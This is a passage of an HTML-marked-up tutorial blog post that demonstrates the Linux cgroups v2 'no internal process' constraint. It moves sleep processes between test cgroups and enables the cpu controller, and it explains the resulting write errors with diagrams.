$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;+cpu&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;test/cg1/cgroup.subtree_control&lt;/span&gt;&lt;/code&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object style="display: block; margin-left: auto; margin-right: auto;" class='' align='middle' data='/img/kernel/cgroups/starting.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Let’s create a long running process and let’s move it to one cgroup. In fact, let’s try &lt;em&gt;different cgroups&lt;/em&gt; and see what happen:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;sleep&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1000&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;&amp;lt;job-id-proc1&amp;gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;pid-proc1&amp;gt;

$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;pid-proc1&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;test/cgroup.procs&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;# byexample: +paste&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;pid-proc1&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;cgroup.procs&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;# byexample: +paste&lt;/span&gt;

$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;pid-proc1&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;test/cg1/cgroup.procs&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;# byexample: +paste&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;pid-proc1&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;cgroup.procs&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;# byexample: +paste&lt;/span&gt;

$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;pid-proc1&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;test/cg1/cg1_1/cgroup.procs&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;# byexample: +paste&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;pid-proc1&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;cgroup.procs&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;# byexample: +paste&lt;/span&gt;

$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;pid-proc1&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;test/cg2/cg2_1/cgroup.procs&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;# byexample: +paste&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;pid-proc1&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;cgroup.procs&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;# byexample: +paste&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The process could be moved to &lt;code&gt;test/&lt;/code&gt;, &lt;code&gt;test/cg1/&lt;/code&gt;, &lt;code&gt;test/cg1/cg1_1/&lt;/code&gt; and &lt;code&gt;test/cg2/cg2_1/&lt;/code&gt; without problems.&lt;/p&gt;
&lt;p&gt;But you may wonder, what is the need of &lt;code&gt;echo &amp;lt;pid-proc1&amp;gt; &amp;gt; ../cgroup.procs1&lt;/code&gt;? Why after moving the process to a cgroup I had to move it to the &lt;em&gt;root before move it again&lt;/em&gt; to another cgroup?&lt;/p&gt;
&lt;p&gt;The hierarchy is &lt;em&gt;empty&lt;/em&gt; so the resource controller is not acting on any process yet. Once a process is added to one of the cgroups the &lt;em&gt;“no internal process” constraint&lt;/em&gt; enters in action.&lt;/p&gt;
&lt;p&gt;Let me show you.&lt;/p&gt;
&lt;h2 id="adding-a-process-under-the-no-internal-process-constraint"&gt;Adding a process under the &lt;em&gt;“no internal process” constraint&lt;/em&gt;&lt;/h2&gt;
&lt;p&gt;I will move the &lt;code&gt;sleep&lt;/code&gt; process to &lt;code&gt;test/cg1/&lt;/code&gt; and then move it again to &lt;code&gt;test/cg1/cg1_1/&lt;/code&gt; as before &lt;em&gt;but&lt;/em&gt; without moving it to the root in between.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;pid-proc1&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;test/cg1/cgroup.procs&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;# byexample: +paste&lt;/span&gt;

$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;pid-proc1&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;test/cg1/cg1_1/cgroup.procs&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;# byexample: +paste&lt;/span&gt;
&amp;lt;...&amp;gt;write&lt;span class="w"&gt; &lt;/span&gt;error:&lt;span class="w"&gt; &lt;/span&gt;Operation&lt;span class="w"&gt; &lt;/span&gt;not&lt;span class="w"&gt; &lt;/span&gt;supported
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Okay, it seems that we cannot move our process after all!&lt;/p&gt;
&lt;p&gt;Is because we cannot move it &lt;strong&gt;from&lt;/strong&gt; where it is or because we cannot move it &lt;strong&gt;to&lt;/strong&gt; where we want?&lt;/p&gt;
&lt;p&gt;We could move it outside so it is likely that the problem is that we cannot move it &lt;strong&gt;to&lt;/strong&gt; &lt;code&gt;test/cg1/cg1_1/&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Let’s try with another process:&lt;/p&gt;
&lt;p&gt;&lt;label for='PG9iamVjdCBzdHlsZT0iZGlzcGxheTogYmxvY2s7IG1hcmdpbi1sZWZ0OiBhdXRvOyBtYXJnaW4tcmlnaHQ6IGF1dG87IiBjbGFzcz0nJyBhbGlnbj0nbWlkZGxlJyBkYXRhPScvaW1nL2tlcm5lbC9jZ3JvdXBzL3Rlc3Rpbmdfd2l0aF9wcm9jX2luX2NnMS5zdmcnIHR5cGU9J2ltYWdlL3N2Zyt4bWwnPjwvb2JqZWN0PkRpYWdyYW0gdGhhdCBzaG93cyB0aGUgZXJyb3JzIGdvdCB3aGVuIHRyaWVkIHRvIGFkZCBwcm9jZXNzIDIgKGBwMmApIHRvCmRpZmZlcmVudCBjZ3JvdXBzLiBPbmx5IHRvIGB0ZXN0L2NnMS9gIHN1Y2NlZWRlZC5tYXJnaW4=' class='margin-toggle'&gt;&amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='PG9iamVjdCBzdHlsZT0iZGlzcGxheTogYmxvY2s7IG1hcmdpbi1sZWZ0OiBhdXRvOyBtYXJnaW4tcmlnaHQ6IGF1dG87IiBjbGFzcz0nJyBhbGlnbj0nbWlkZGxlJyBkYXRhPScvaW1nL2tlcm5lbC9jZ3JvdXBzL3Rlc3Rpbmdfd2l0aF9wcm9jX2luX2NnMS5zdmcnIHR5cGU9J2ltYWdlL3N2Zyt4bWwnPjwvb2JqZWN0PkRpYWdyYW0gdGhhdCBzaG93cyB0aGUgZXJyb3JzIGdvdCB3aGVuIHRyaWVkIHRvIGFkZCBwcm9jZXNzIDIgKGBwMmApIHRvCmRpZmZlcmVudCBjZ3JvdXBzLiBPbmx5IHRvIGB0ZXN0L2NnMS9gIHN1Y2NlZWRlZC5tYXJnaW4=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;object style="display: block; margin-left: auto; margin-right: auto;" class='' align='middle' data='/img/kernel/cgroups/testing_with_proc_in_cg1.svg' type='image/svg+xml'&gt;&lt;/object&gt;
Diagram that shows the errors got when tried to add process 2 (&lt;code&gt;p2&lt;/code&gt;) to different cgroups. Only to &lt;code&gt;test/cg1/&lt;/code&gt; succeeded.
&lt;/span&gt;&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;sleep&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1000&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;&amp;lt;job-id-proc2&amp;gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;pid-proc2&amp;gt;

$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;pid-proc2&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;test/cg1/cg1_1/cgroup.procs&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;# byexample: +paste&lt;/span&gt;
&amp;lt;...&amp;gt;write&lt;span class="w"&gt; &lt;/span&gt;error:&lt;span class="w"&gt; &lt;/span&gt;Operation&lt;span class="w"&gt; &lt;/span&gt;not&lt;span class="w"&gt; &lt;/span&gt;supported

$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;pid-proc2&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;test/cg1/cg1_2/cgroup.procs&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;# byexample: +paste&lt;/span&gt;
&amp;lt;...&amp;gt;write&lt;span class="w"&gt; &lt;/span&gt;error:&lt;span class="w"&gt; &lt;/span&gt;Operation&lt;span class="w"&gt; &lt;/span&gt;not&lt;span class="w"&gt; &lt;/span&gt;supported

$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;pid-proc2&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;test/cgroup.procs&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;# byexample: +paste&lt;/span&gt;
&amp;lt;...&amp;gt;write&lt;span class="w"&gt; &lt;/span&gt;error:&lt;span class="w"&gt; &lt;/span&gt;Device&lt;span class="w"&gt; &lt;/span&gt;or&lt;span class="w"&gt; &lt;/span&gt;resource&lt;span class="w"&gt; &lt;/span&gt;busy

$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;pid-proc2&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;test/cg1/cgroup.procs&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;# byexample: +paste&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Interesting!&lt;/p&gt;
&lt;p&gt;Once we put the first process in &lt;code&gt;test/cg1/&lt;/code&gt; we &lt;em&gt;locked&lt;/em&gt; the &lt;code&gt;test/cg1/&lt;/code&gt; &lt;em&gt;subtree&lt;/em&gt; and all its &lt;em&gt;ancestors&lt;/em&gt;: no process can be added to them except exclusively to &lt;code&gt;test/cg1/&lt;/code&gt; itself (well, &lt;em&gt;root&lt;/em&gt; is an exception to this).&lt;/p&gt;
&lt;h3 id="sibling-hierarchy"&gt;Sibling hierarchy&lt;/h3&gt;
&lt;p&gt;Adding a process to a hierarchy enforces us to add the rest of the processes in the same cgroup or in different &lt;em&gt;sibling&lt;/em&gt; hierarchy.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
Add a third process to &lt;code&gt;test/cg2/&lt;/code&gt;, no problem arise from.
&lt;br /&gt;&lt;br /&gt;
&lt;span class="pseudo-pre"&gt;&lt;code&gt;&lt;span class="highlight-candombe"&gt;$&lt;span class="w"&gt; &lt;/span&gt;sleep&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1000&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;&amp;lt;job-id-proc3&amp;gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;pid-proc3&amp;gt;

$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;pid-proc3&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;test/cg2/cgroup.procs&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;# byexample: +paste&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object style="display: block; margin-left: auto; margin-right: auto;" class='' align='middle' data='/img/kernel/cgroups/testing_with_proc_in_cg1_and_cg2.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h3 id="how-does-the-resource-controller-affect"&gt;How does the resource controller affect?&lt;/h3&gt;
&lt;p&gt;There is one last piece to our puzzle.&lt;/p&gt;
&lt;p&gt;We &lt;em&gt;can&lt;/em&gt; add a process to a subtree of an occupied cgroup if there are &lt;strong&gt;no&lt;/strong&gt; resource controller enabled on the subtree.&lt;/p&gt;
&lt;p&gt;Take this case where we can add a processes to &lt;code&gt;test/cg2/&lt;/code&gt; subtree but not to &lt;code&gt;test/cg1/&lt;/code&gt; subtree. In both cases &lt;code&gt;test/cg2/&lt;/code&gt; and &lt;code&gt;test/cg1/&lt;/code&gt; are already occupied but &lt;code&gt;test/cg1/&lt;/code&gt; delegated the &lt;code&gt;+cpu&lt;/code&gt; to its subtree and that’s what block us to add any process there.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
Add a fourth process to &lt;code&gt;test/cg1/cg1_2&lt;/code&gt;, fail and then add it to &lt;code&gt;test/cg2/cg2_2&lt;/code&gt;. The only difference that would explain why we failed in the first cgroup is because &lt;code&gt;+cpu&lt;/code&gt; controller is enabled on the cgroup while in &lt;code&gt;test/cg2/cg2_2&lt;/code&gt; is not.
&lt;br /&gt;&lt;br /&gt;
&lt;span class="pseudo-pre"&gt;&lt;code&gt;&lt;span class="highlight-candombe"&gt;$&lt;span class="w"&gt; &lt;/span&gt;sleep&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1000&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;&amp;lt;job-id-proc4&amp;gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;pid-proc4&amp;gt;

$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;pid-proc4&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;test/cg1/cg1_2/cgroup.procs&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;# byexample: +paste&lt;/span&gt;
&amp;lt;...&amp;gt;write&lt;span class="w"&gt; &lt;/span&gt;error:&lt;span class="w"&gt; &lt;/span&gt;Operation&lt;span class="w"&gt; &lt;/span&gt;not&lt;span class="w"&gt; &lt;/span&gt;supported

$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;pid-proc4&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;test/cg2/cg2_2/cgroup.procs&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;# byexample: +paste&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object style="display: block; margin-left: auto; margin-right: auto;" class='' align='middle' data='/img/kernel/cgroups/testing_with_proc_in_cg1_and_cg2_alt.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h3 id="flow-diagram-for-adding-a-process"&gt;Flow diagram for adding a process&lt;/h3&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
Diagram of the flow for adding a process to a cgroup and the possible outcomes that summarizes all the talked so far.
&lt;br /&gt;&lt;br /&gt;
This is a sketch and by no means it is a fully specification.
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object style="display: block; margin-left: auto; margin-right: auto;" class='' align='middle' data='/img/kernel/cgroups/proc-move-in-no-internal-process.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h2 id="enabling-a-resource-control-under-the-no-internal-process-constraint"&gt;Enabling a resource control under the &lt;em&gt;“no internal process” constraint&lt;/em&gt;&lt;/h2&gt;
&lt;p&gt;Let’s shuffle the things resetting the resource controller and repositioning the processes as follows:&lt;/p&gt;
&lt;p&gt;&lt;label for='PG9iamVjdCBzdHlsZT0iZGlzcGxheTogYmxvY2s7IG1hcmdpbi1sZWZ0OiBhdXRvOyBtYXJnaW4tcmlnaHQ6IGF1dG87IiBjbGFzcz0nJyBhbGlnbj0nbWlkZGxlJyBkYXRhPScvaW1nL2tlcm5lbC9jZ3JvdXBzL3Jlc3RhcnQuc3ZnJyB0eXBlPSdpbWFnZS9zdmcreG1sJz48L29iamVjdD5TdGF0ZSBvZiB0aGUgaGllcmFyY2h5IGFmdGVyIHRoZSByZXNldCBhbmQgcmVwb3NpdGlvbmluZy5tYXJnaW4=' class='margin-toggle'&gt;&amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='PG9iamVjdCBzdHlsZT0iZGlzcGxheTogYmxvY2s7IG1hcmdpbi1sZWZ0OiBhdXRvOyBtYXJnaW4tcmlnaHQ6IGF1dG87IiBjbGFzcz0nJyBhbGlnbj0nbWlkZGxlJyBkYXRhPScvaW1nL2tlcm5lbC9jZ3JvdXBzL3Jlc3RhcnQuc3ZnJyB0eXBlPSdpbWFnZS9zdmcreG1sJz48L29iamVjdD5TdGF0ZSBvZiB0aGUgaGllcmFyY2h5IGFmdGVyIHRoZSByZXNldCBhbmQgcmVwb3NpdGlvbmluZy5tYXJnaW4=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;object style="display: block; margin-left: auto; margin-right: auto;" class='' align='middle' data='/img/kernel/cgroups/restart.svg' type='image/svg+xml'&gt;&lt;/object&gt;
State of the hierarchy after the reset and repositioning.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Send all the processes to root temporally so they don’t interfere:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;pid-proc1&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;cgroup.procs&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;# byexample: +paste&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;pid-proc2&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;cgroup.procs&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;# byexample: +paste&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;pid-proc3&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;cgroup.procs&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;# byexample: +paste&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;pid-proc4&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;cgroup.procs&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;# byexample: +paste&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Disable the controller and delete/create some nested cgroups:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;-cpu&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;test/cg1/cgroup.subtree_control
$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;-cpu&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;test/cgroup.subtree_control

$&lt;span class="w"&gt; &lt;/span&gt;rmdir&lt;span class="w"&gt; &lt;/span&gt;test/cg1/cg1_2&lt;span class="w"&gt; &lt;/span&gt;test/cg2/cg2_2
$&lt;span class="w"&gt; &lt;/span&gt;mkdir&lt;span class="w"&gt; &lt;/span&gt;test/cg3&lt;span class="w"&gt; &lt;/span&gt;test/cg3/cg3_1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Put back the processes into the cgroups:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;pid-proc1&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;test/cg1/cgroup.procs&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;# byexample: +paste&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;pid-proc2&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;test/cg1/cg1_1/cgroup.procs&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;# byexample: +paste&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;pid-proc3&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;test/cg2/cg2_1/cgroup.procs&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;# byexample: +paste&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;pid-proc4&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;test/cg3/cgroup.procs&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;# byexample: +paste&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Let’s play with it and see to what extend we can enable the &lt;code&gt;+cpu&lt;/code&gt; controller along the hierarchy:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;+cpu&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;test/cgroup.subtree_control

$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;+cpu&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;test/cg1/cgroup.subtree_control
&amp;lt;...&amp;gt;write&lt;span class="w"&gt; &lt;/span&gt;error:&lt;span class="w"&gt; &lt;/span&gt;Device&lt;span class="w"&gt; &lt;/span&gt;or&lt;span class="w"&gt; &lt;/span&gt;resource&lt;span class="w"&gt; &lt;/span&gt;busy
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;We could enable &lt;code&gt;+cpu&lt;/code&gt; on &lt;code&gt;test/&lt;/code&gt;’s children but we had some trouble going further.&lt;/p&gt;
&lt;p&gt;We couldn’t enable on &lt;code&gt;test/cg1/&lt;/code&gt;’s children because &lt;code&gt;test/cg1/&lt;/code&gt; and one of its children are not empty.&lt;/p&gt;
&lt;p&gt;And because a cgroup can enable the control in its subtree only if its parent enabled it for it, &lt;code&gt;test/cg1/cg1_1/&lt;/code&gt; will fail because its parent does not have the control of &lt;code&gt;+cpu&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;+cpu&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;test/cg1/cg1_1/cgroup.subtree_control
&amp;lt;...&amp;gt;write&lt;span class="w"&gt; &lt;/span&gt;error:&lt;span class="w"&gt; &lt;/span&gt;No&lt;span class="w"&gt; &lt;/span&gt;such&lt;span class="w"&gt; &lt;/span&gt;file&lt;span class="w"&gt; &lt;/span&gt;or&lt;span class="w"&gt; &lt;/span&gt;directory
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

